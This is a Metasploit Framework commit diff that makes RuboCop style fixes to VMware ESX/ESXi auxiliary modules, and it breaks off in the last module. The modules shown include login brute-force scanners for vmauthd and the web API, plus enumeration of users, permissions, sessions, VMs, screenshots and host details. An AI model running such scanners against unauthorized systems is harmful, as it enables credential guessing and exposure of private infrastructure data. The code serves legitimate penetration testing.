modules/auxiliary/scanner/vmware: Resolve RuboCop violations

This commit is contained in:
bcoles
2025-05-26 21:30:58 +10:00
parent d2da920ee1
commit 4c0ec87d7c
12 changed files with 461 additions and 404 deletions
@@ -11,84 +11,97 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'VMWare ESX/ESXi Fingerprint Scanner',
'Description' => %Q{
'Name' => 'VMware ESX/ESXi Fingerprint Scanner',
'Description' => %(
This module accesses the web API interfaces for VMware ESX/ESXi servers
and attempts to identify version information for that server.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
),
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true },
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
register_options([Opt::RPORT(443),
OptString.new('URI', [false, 'The uri path to test against' , '/sdk'])
register_options([
Opt::RPORT(443),
OptString.new('URI', [false, 'The uri path to test against', '/sdk'])
])
end
def run_host(ip)
soap_data =
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
soap_data =
%(<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>|
begin
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'agent' => 'VMware VI Client',
'data' => soap_data,
'headers' => { 'SOAPAction' => @soap_action}
}, 25)
rescue ::Rex::ConnectionError => e
vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}")
return false
rescue
vprint_error("Skipping #{ip} due to error - #{e}")
return false
end
fingerprint_vmware(ip,res)
</env:Envelope>)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'agent' => 'VMware VI Client',
'data' => soap_data,
'headers' => { 'SOAPAction' => @soap_action }
}, 25)
fingerprint_vmware(ip, res)
rescue ::Rex::ConnectionError => e
vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}")
return false
rescue StandardError
vprint_error("Skipping #{ip} due to error - #{e}")
return false
end
# Takes an ip address and a response, and just checks the response
# Takes an IP address and a response, and just checks the response
# to pull out version info. If it's ESX, report the OS as ESX (since
# it's a hypervisor deal then). Otherwise, just report the service.
# XXX: report_service is stomping on the report_host OS. This is le suck.
def fingerprint_vmware(ip,res)
def fingerprint_vmware(ip, res)
unless res
vprint_error("http://#{ip}:#{rport} - No response")
return false
end
return false unless res.body.include?('<vendor>VMware, Inc.</vendor>')
os_match = res.body.match(/<name>([\w\s]+)<\/name>/)
ver_match = res.body.match(/<version>([\w\s\.]+)<\/version>/)
build_match = res.body.match(/<build>([\w\s\.\-]+)<\/build>/)
full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/)
unless res.body.include?('<vendor>VMware, Inc.</vendor>')
vprint_error("http://#{ip}:#{rport} - Host is not VMware")
return false
end
os_match = res.body.match(%r{<name>([\w\s]+)</name>})
ver_match = res.body.match(%r{<version>([\w\s.]+)</version>})
build_match = res.body.match(%r{<build>([\w\s.-]+)</build>})
full_match = res.body.match(%r{<fullName>([\w\s.-]+)</fullName>})
this_host = nil
if full_match
print_good("#{rhost}:#{rport} - Identified #{full_match[1]}")
report_service(:host => (this_host || ip), :port => rport, :proto => 'tcp', :name => 'https', :info => full_match[1])
report_service(host: this_host || ip, port: rport, proto: 'tcp', name: 'https', info: full_match[1])
end
if os_match and ver_match and build_match
if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/
# Report a fingerprint match for OS identification
report_note(
:host => ip,
:ntype => 'fingerprint.match',
:data => {'os.vendor' => 'VMware', 'os.product' => os_match[1] + " " + ver_match[1], 'os.version' => build_match[1] }
)
end
return true
else
vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare")
unless os_match && ver_match && build_match
vprint_error("http://#{ip}:#{rport} - Could not identify as VMware")
return false
end
if os_match[1] =~ /ESX/ || os_match[1] =~ /vCenter/
# Report a fingerprint match for OS identification
report_note(
host: ip,
ntype: 'fingerprint.match',
data: {
'os.vendor' => 'VMware',
'os.product' => os_match[1] + ' ' + ver_match[1],
'os.version' => build_match[1]
}
)
end
return true
end
end
@@ -12,43 +12,52 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
@@cached_rsa_key = nil
def initialize
super(
'Name' => 'VMWare Authentication Daemon Login Scanner',
'Description' => %q{This module will test vmauthd logins on a range of machines and
report successful logins.
'Name' => 'VMware Authentication Daemon Login Scanner',
'Description' => %q{
This module will test vmauthd logins on a range of machines and
report successful logins.
},
'Author' => ['theLightCosine'],
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
'Author' => ['theLightCosine'],
'References' => [
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS],
'Reliability' => []
}
)
register_options([Opt::RPORT(902)])
end
def run_host(ip)
print_brute :ip => ip, :msg => 'Starting bruteforce'
print_brute ip: ip, msg: 'Starting bruteforce'
# Perform a sanity check to ensure that our target is vmauthd before
# attempting to brute force it.
begin
connect rescue nil
if !self.sock
print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
return
begin
connect
rescue StandardError
nil
end
banner = sock.get_once(-1, 10)
if !banner || !banner =~ /^220 VMware Authentication Daemon Version.*/
print_brute :level => :verror, :ip => ip, :msg => 'Target does not appear to be a vmauthd service'
if !sock
print_brute(level: :verror, ip: ip, msg: 'Could not connect')
return
end
rescue ::Interrupt
banner = sock.get_once(-1, 10)
if banner !~ /^220 VMware Authentication Daemon Version.*/
print_brute(level: :verror, ip: ip, msg: 'Target does not appear to be a vmauthd service')
return
end
rescue ::Interrupt
raise $ERROR_INFO
ensure
disconnect
@@ -84,27 +93,27 @@ class MetasploitModule < Msf::Auxiliary
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
module_fullname: fullname,
workspace_id: myworkspace_id
)
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
end
invalidate_login(credential_data)
:abort
when Metasploit::Model::Login::Status::INCORRECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}"
end
invalidate_login(credential_data)
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute level: :good, ip: ip, msg: "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
if datastore['VERBOSE']
print_brute level: :verror, ip: ip, msg: 'Could not connect'
end
invalidate_login(credential_data)
:abort
when Metasploit::Model::Login::Status::INCORRECT
if datastore['VERBOSE']
print_brute level: :verror, ip: ip, msg: "Failed: '#{result.credential}' #{result.proof}"
end
invalidate_login(credential_data)
end
end
end
@@ -3,41 +3,43 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
@@cached_rsa_key = nil
def initialize
super(
'Name' => 'VMWare Authentication Daemon Version Scanner',
'Name' => 'VMware Authentication Daemon Version Scanner',
'Description' => %q{
This module will identify information about a host through the
vmauthd service.
vmauthd service.
},
'Author' => ['theLightCosine', 'hdm'],
'License' => MSF_LICENSE
'Author' => ['theLightCosine', 'hdm'],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
register_options([Opt::RPORT(902)])
end
def run_host(ip)
def run_host(_ip)
begin
connect rescue nil
if not self.sock
return
connect
rescue StandardError
nil
end
return unless sock
banner = sock.get_once(-1, 10)
if not banner
if !banner
print_error "#{rhost}:#{rport} No banner received from vmauthd"
return
end
@@ -54,72 +56,64 @@ class MetasploitModule < Msf::Auxiliary
if banner =~ /SSL/
print_status("#{rhost}:#{rport} Switching to SSL connection...")
swap_sock_plain_to_ssl
cert = self.sock.peer_cert
cert = sock.peer_cert
end
if cert
banner << " Certificate:#{cert.subject.to_s}"
banner << " Certificate:#{cert.subject}"
end
print_good "#{rhost}:#{rport} Banner: #{banner}"
report_service(
:host => rhost,
:port => rport,
:sname => 'vmauthd',
:info => banner,
:proto => 'tcp'
host: rhost,
port: rport,
sname: 'vmauthd',
info: banner,
proto: 'tcp'
)
rescue ::Interrupt
raise $!
ensure
disconnect
end
rescue ::Interrupt
raise $ERROR_INFO
ensure
disconnect
end
def do_login(user, pass, nsock=self.sock)
def do_login(user, pass, nsock = sock)
nsock.put("USER #{user}\r\n")
res = nsock.get_once || ''
unless res.start_with? "331"
ret_msg = "Unexpected reply to the USER command: #{res}"
return ret_msg
unless res.start_with?('331')
return "Unexpected reply to the USER command: #{res}"
end
nsock.put("PASS #{pass}\r\n")
res = nsock.get_once || ''
if res.start_with? "530"
if res.start_with?('530')
return :failed
elsif res.start_with? "230"
elsif res.start_with?('230')
return :success
else
ret_msg = "Unexpected reply to the PASS command: #{res}"
return ret_msg
return "Unexpected reply to the PASS command: #{res}"
end
end
def swap_sock_plain_to_ssl(nsock=self.sock)
ctx = generate_ssl_context()
def swap_sock_plain_to_ssl(nsock = sock)
ctx = generate_ssl_context
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
ssl.connect
nsock.extend(Rex::Socket::SslTcp)
nsock.sslsock = ssl
nsock.sslctx = ctx
nsock.sslctx = ctx
end
def generate_ssl_context
ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
@@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ }
ctx.key = @@cached_rsa_key
@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024) {}
ctx.key = @cached_rsa_key
ctx.session_id_context = Rex::Text.rand_text(16)
return ctx
end
end
@@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::VIMSoap
include Msf::Exploit::Remote::HttpClient
@@ -12,27 +11,32 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'VMWare Enumerate Permissions',
'Description' => %Q{
This module will log into the Web API of VMWare and try to enumerate
'Name' => 'VMware Enumerate Permissions',
'Description' => %(
This module will log into the Web API of VMware and try to enumerate
all the user/group permissions. Unlike enum users this is only
users and groups that specifically have permissions defined within
the VMware product
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
),
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true },
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
])
OptString.new('USERNAME', [ true, 'The username to Authenticate with.', 'root' ]),
OptString.new('PASSWORD', [ true, 'The password to Authenticate with.', 'password' ])
]
)
end
def run_host(ip)
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
role_map = {}
@@ -47,9 +51,9 @@ class MetasploitModule < Msf::Auxiliary
else
esx_roles.each do |role|
role_map[role['roleId']] = {
"name" => role['name'],
"system" => role['system'],
"summary" => role['info']['summary']
'name' => role['name'],
'system' => role['system'],
'summary' => role['info']['summary']
}
end
end
@@ -64,18 +68,18 @@ class MetasploitModule < Msf::Auxiliary
print_error "An error occurred while trying to enumerate the permissions on #{ip}"
else
tmp_perms = Rex::Text::Table.new(
'Header' => "Permissions for VMWare #{ip}",
'Indent' => 1,
'Columns' => ['Name', 'IsAGroup', 'Role', 'Role Summary']
)
'Header' => "Permissions for VMware #{ip}",
'Indent' => 1,
'Columns' => ['Name', 'IsAGroup', 'Role', 'Role Summary']
)
esx_permissions.each do |perm|
role_name = role_map[perm['roleId']]['name']
role_summary = role_map[perm['roleId']]['summary']
tmp_perms << [perm['principal'], perm['group'], role_name , role_summary]
tmp_perms << [perm['principal'], perm['group'], role_name, role_summary]
end
print_good tmp_perms.to_s
f = store_loot('host.vmware.permissions', "text/plain", datastore['RHOST'], tmp_perms.to_csv , "#{datastore['RHOST']}_esx_permissions.txt", "VMWare ESX Permissions")
f = store_loot('host.vmware.permissions', 'text/plain', datastore['RHOST'], tmp_perms.to_csv, "#{datastore['RHOST']}_esx_permissions.txt", 'VMware ESX Permissions')
vprint_good("Permission info stored in: #{f}")
end
else
@@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::VIMSoap
include Msf::Exploit::Remote::HttpClient
@@ -12,25 +11,30 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'VMWare Enumerate Active Sessions',
'Description' => %Q{
This module will log into the Web API of VMWare and try to enumerate
'Name' => 'VMware Enumerate Active Sessions',
'Description' => %(
This module will log into the Web API of VMware and try to enumerate
all the login sessions.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
),
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true },
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
])
OptString.new('USERNAME', [ true, 'The username to Authenticate with.', 'root' ]),
OptString.new('PASSWORD', [ true, 'The password to Authenticate with.', 'password' ])
]
)
end
def run_host(ip)
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
vim_sessions = vim_get_session_list
@@ -38,14 +42,14 @@ class MetasploitModule < Msf::Auxiliary
when :noresponse
print_error "Connection error - Received no reply from #{ip}"
when :error
print_error "An error has occurred"
print_error 'An error has occurred'
when :expired
print_error "The session is no longer authenticated"
print_error 'The session is no longer authenticated'
else
output = ''
vim_sessions.each do |vsession|
tmp_line = "Name: #{vsession['fullName']} \n\t"
is_active = vim_session_is_active(vsession['key'],vsession['userName'])
is_active = vim_session_is_active(vsession['key'], vsession['userName'])
if is_active == :error
tmp_line << "Active: N/A \n\t"
else
@@ -60,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
output << tmp_line
end
unless output.empty?
f = store_loot("host.vmware.sessions", "text/plain", datastore['RHOST'], output, "vmware_sessions.txt", "Login Sessions for VMware")
f = store_loot('host.vmware.sessions', 'text/plain', datastore['RHOST'], output, 'vmware_sessions.txt', 'Login Sessions for VMware')
vprint_good("Login sessions stored in: #{f}")
end
end
@@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::VIMSoap
include Msf::Exploit::Remote::HttpClient
@@ -12,38 +11,43 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'VMWare Enumerate User Accounts',
'Description' => %Q{
This module will log into the Web API of VMWare and try to enumerate
'Name' => 'VMware Enumerate User Accounts',
'Description' => %(
This module will log into the Web API of VMware and try to enumerate
all the user accounts. If the VMware instance is connected to one or
more domains, it will try to enumerate domain users as well.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
),
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true },
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
])
OptString.new('USERNAME', [ true, 'The username to Authenticate with.', 'root' ]),
OptString.new('PASSWORD', [ true, 'The password to Authenticate with.', 'password' ])
]
)
end
def run_host(ip)
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
# Get local Users and Groups
user_list = vim_get_user_list(nil)
tmp_users = Rex::Text::Table.new(
'Header' => "Users for server #{ip}",
'Indent' => 1,
'Header' => "Users for server #{ip}",
'Indent' => 1,
'Columns' => ['Name', 'Description']
)
tmp_groups = Rex::Text::Table.new(
'Header' => "Groups for server #{ip}",
'Indent' => 1,
'Header' => "Groups for server #{ip}",
'Indent' => 1,
'Columns' => ['Name', 'Description']
)
unless user_list.nil?
@@ -59,13 +63,13 @@ class MetasploitModule < Msf::Auxiliary
if obj['group'] == 'true'
tmp_groups << [obj['principal'], obj['fullName']]
else
tmp_users << [obj['principal'], obj['fullName']]
tmp_users << [obj['principal'], obj['fullName']]
end
end
print_good tmp_groups.to_s
store_loot('host.vmware.groups', "text/plain", datastore['RHOST'], tmp_groups.to_csv , "#{datastore['RHOST']}_esx_groups.txt", "VMWare ESX User Groups")
store_loot('host.vmware.groups', 'text/plain', datastore['RHOST'], tmp_groups.to_csv, "#{datastore['RHOST']}_esx_groups.txt", 'VMware ESX User Groups')
print_good tmp_users.to_s
store_loot('host.vmware.users', "text/plain", datastore['RHOST'], tmp_users.to_csv , "#{datastore['RHOST']}_esx_users.txt", "VMWare ESX Users")
store_loot('host.vmware.users', 'text/plain', datastore['RHOST'], tmp_users.to_csv, "#{datastore['RHOST']}_esx_users.txt", 'VMware ESX Users')
end
end
@@ -82,14 +86,14 @@ class MetasploitModule < Msf::Auxiliary
# Enumerate Domain Users and Groups
esx_domains.each do |domain|
tmp_dusers = Rex::Text::Table.new(
'Header' => "Users for domain #{domain}",
'Indent' => 1,
'Header' => "Users for domain #{domain}",
'Indent' => 1,
'Columns' => ['Name', 'Description']
)
tmp_dgroups = Rex::Text::Table.new(
'Header' => "Groups for domain #{domain}",
'Indent' => 1,
'Header' => "Groups for domain #{domain}",
'Indent' => 1,
'Columns' => ['Name', 'Description']
)
@@ -108,16 +112,16 @@ class MetasploitModule < Msf::Auxiliary
if obj['group'] == 'true'
tmp_dgroups << [obj['principal'], obj['fullName']]
else
tmp_dusers << [obj['principal'], obj['fullName']]
tmp_dusers << [obj['principal'], obj['fullName']]
end
end
print_good tmp_dgroups.to_s
f = store_loot('domain.groups', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_groups.txt", "VMWare ESX #{domain} Domain User Groups")
vprint_status("VMWare domain user groups stored in: #{f}")
f = store_loot('domain.groups', 'text/plain', datastore['RHOST'], tmp_dgroups.to_csv, "#{domain}_esx_groups.txt", "VMware ESX #{domain} Domain User Groups")
vprint_status("VMware domain user groups stored in: #{f}")
print_good tmp_dusers.to_s
f = store_loot('domain.users', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_users.txt", "VMWare ESX #{domain} Domain Users")
vprint_status("VMWare users stored in: #{f}")
f = store_loot('domain.users', 'text/plain', datastore['RHOST'], tmp_dgroups.to_csv, "#{domain}_esx_users.txt", "VMware ESX #{domain} Domain Users")
vprint_status("VMware users stored in: #{f}")
end
end
end
@@ -11,62 +11,68 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'VMWare Enumerate Virtual Machines',
'Description' => %Q{
This module attempts to discover virtual machines on any VMWare instance
running the web interface. This would include ESX/ESXi and VMWare Server.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
'Name' => 'VMware Enumerate Virtual Machines',
'Description' => %(
This module attempts to discover virtual machines on any VMware instance
running the web interface. This would include ESX/ESXi and VMware Server.
),
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true },
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptBool.new('SCREENSHOT', [true, "Whether or not to try to take a screenshot", true])
])
OptString.new('USERNAME', [ true, 'The username to Authenticate with.', 'root' ]),
OptString.new('PASSWORD', [ true, 'The password to Authenticate with.', 'password' ]),
OptBool.new('SCREENSHOT', [true, 'Whether or not to try to take a screenshot', true])
]
)
end
def run_host(ip)
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
virtual_machines = vim_get_vms
virtual_machines.each do |vm|
print_good YAML.dump(vm)
report_note(
:host => rhost,
:type => "vmware.esx.vm",
:data => { :virtual_machine => vm },
:port => rport,
:proto => 'tcp',
:update => :unique_data
host: rhost,
type: 'vmware.esx.vm',
data: { virtual_machine: vm },
port: rport,
proto: 'tcp',
update: :unique_data
)
next unless datastore['SCREENSHOT'] and vm['runtime']['powerState'] == 'poweredOn'
next unless datastore['SCREENSHOT'] && (vm['runtime']['powerState'] == 'poweredOn')
print_status "Attempting to take screenshot of #{vm['name']}...."
screenshot = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'] )
screenshot = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'])
case screenshot
when :error
print_error "Screenshot failed"
print_error 'Screenshot failed'
next
when :expired
vim_do_login(datastore['USERNAME'], datastore['PASSWORD'])
retry_result = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'] )
if retry_result == :error or retry_result == :expired
print_error "Screenshot failed"
retry_result = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'])
if (retry_result == :error) || (retry_result == :expired)
print_error 'Screenshot failed'
else
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], retry_result, "#{vm['name']}_screenshot.png", "Screenshot of VM #{vm['name']}")
ss_path = store_loot('host.vmware.screenshot', 'image/png', datastore['RHOST'], retry_result, "#{vm['name']}_screenshot.png", "Screenshot of VM #{vm['name']}")
print_good "Screenshot Saved to #{ss_path}"
end
else
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], screenshot, "screenshot.png", "Screenshot of VM #{vm['name']}")
ss_path = store_loot('host.vmware.screenshot', 'image/png', datastore['RHOST'], screenshot, 'screenshot.png', "Screenshot of VM #{vm['name']}")
print_good "Screenshot Saved to #{ss_path}"
end
end
f = store_loot('host.vmware.vms', "text/plain", datastore['RHOST'], YAML.dump(virtual_machines) , "#{datastore['RHOST']}_esx_vms.txt", "VMWare ESX Virtual Machines")
f = store_loot('host.vmware.vms', 'text/plain', datastore['RHOST'], YAML.dump(virtual_machines), "#{datastore['RHOST']}_esx_vms.txt", 'VMware ESX Virtual Machines')
vprint_good("VM info stored in: #{f}")
else
print_error "Login Failure on #{ip}"
@@ -11,34 +11,39 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'VMWare Enumerate Host Details',
'Description' => %Q{
This module attempts to enumerate information about the host systems through the VMWare web API.
'Name' => 'VMware Enumerate Host Details',
'Description' => %(
This module attempts to enumerate information about the host systems through the VMware web API.
This can include information about the hardware installed on the host machine.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
),
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true },
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptBool.new('HW_DETAILS', [true, "Enumerate the Hardware on the system as well?", false])
])
OptString.new('USERNAME', [ true, 'The username to authenticate with.', 'root' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with.', 'password' ]),
OptBool.new('HW_DETAILS', [ true, 'Enumerate the hardware on the system as well?', false ])
]
)
end
def run_host(ip)
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
output = "VMWare Host at #{ip} details\n"
output = "VMware Host at #{ip} details\n"
host_summary = vim_get_all_host_summary(datastore['HW_DETAILS'])
output << YAML.dump(host_summary)
print_good output
f = store_loot('vmware_host_details', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_vmware_host.txt", "VMWare Host Details")
f = store_loot('vmware_host_details', 'text/plain', datastore['RHOST'], output, "#{datastore['RHOST']}_vmware_host.txt", 'VMware Host Details')
vprint_good("Host details stored in: #{f}")
else
print_error "Login Failure on #{ip}"
@@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::VIMSoap
include Msf::Exploit::Remote::HttpClient
@@ -13,23 +12,30 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'VMWare Web Login Scanner',
'Description' => 'This module attempts to authenticate to the VMWare HTTP service
for VmWare Server, ESX, and ESXI',
'Author' => ['theLightCosine'],
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
'Name' => 'VMware Web Login Scanner',
'Description' => %(
This module attempts to authenticate to the VMware
HTTP service for VMware Server, ESX, and ESXI.
),
'Author' => ['theLightCosine'],
'References' => [
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true },
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS],
'Reliability' => []
}
)
register_options(
[
OptString.new('URI', [true, "The default URI to login with", "/sdk"]),
OptString.new('URI', [true, 'The default URI to login with', '/sdk']),
Opt::RPORT(443)
])
]
)
end
def report_cred(opts)
@@ -59,9 +65,10 @@ class MetasploitModule < Msf::Auxiliary
create_credential_login(login_data)
end
def run_host(ip)
def run_host(_ip)
return unless is_vmware?
each_user_pass { |user, pass|
each_user_pass do |user, pass|
result = vim_do_login(user, pass)
case result
when :success
@@ -71,25 +78,25 @@ class MetasploitModule < Msf::Auxiliary
when :fail
print_error "#{rhost}:#{rport} - Login Failure (#{user}:#{pass})"
end
}
end
end
# Mostly taken from the Apache Tomcat service validator
def is_vmware?
soap_data =
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
%(<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>|
</env:Envelope>)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'agent' => 'VMware VI Client',
'data' => soap_data
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'agent' => 'VMware VI Client',
'data' => soap_data
}, 25)
unless res
@@ -98,10 +105,10 @@ class MetasploitModule < Msf::Auxiliary
end
fingerprint_vmware(res)
rescue ::Rex::ConnectionError => e
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} Error: could not connect")
return false
rescue => e
rescue StandardError => e
vprint_error("#{rhost}:#{rport} Error: #{e}")
return false
end
@@ -113,27 +120,27 @@ class MetasploitModule < Msf::Auxiliary
end
return false unless res.body.include?('<vendor>VMware, Inc.</vendor>')
os_match = res.body.match(/<name>([\w\s]+)<\/name>/)
ver_match = res.body.match(/<version>([\w\s\.]+)<\/version>/)
build_match = res.body.match(/<build>([\w\s\.\-]+)<\/build>/)
full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/)
os_match = res.body.match(%r{<name>([\w\s]+)</name>})
ver_match = res.body.match(%r{<version>([\w\s.]+)</version>})
build_match = res.body.match(%r{<build>([\w\s.-]+)</build>})
full_match = res.body.match(%r{<fullName>([\w\s.-]+)</fullName>})
if full_match
print_good "#{rhost}:#{rport} - Identified #{full_match[1]}"
report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => full_match[1])
report_service(host: rhost, port: rport, proto: 'tcp', sname: 'https', info: full_match[1])
end
unless os_match and ver_match and build_match
vprint_error("#{rhost}:#{rport} Error: Could not identify host as VMWare")
unless os_match && ver_match && build_match
vprint_error("#{rhost}:#{rport} Error: Could not identify host as VMware")
return false
end
if os_match[1].include?('ESX') || os_match[1].include?('vCenter')
# Report a fingerprint match for OS identification
report_note(
:host => rhost,
:ntype => 'fingerprint.match',
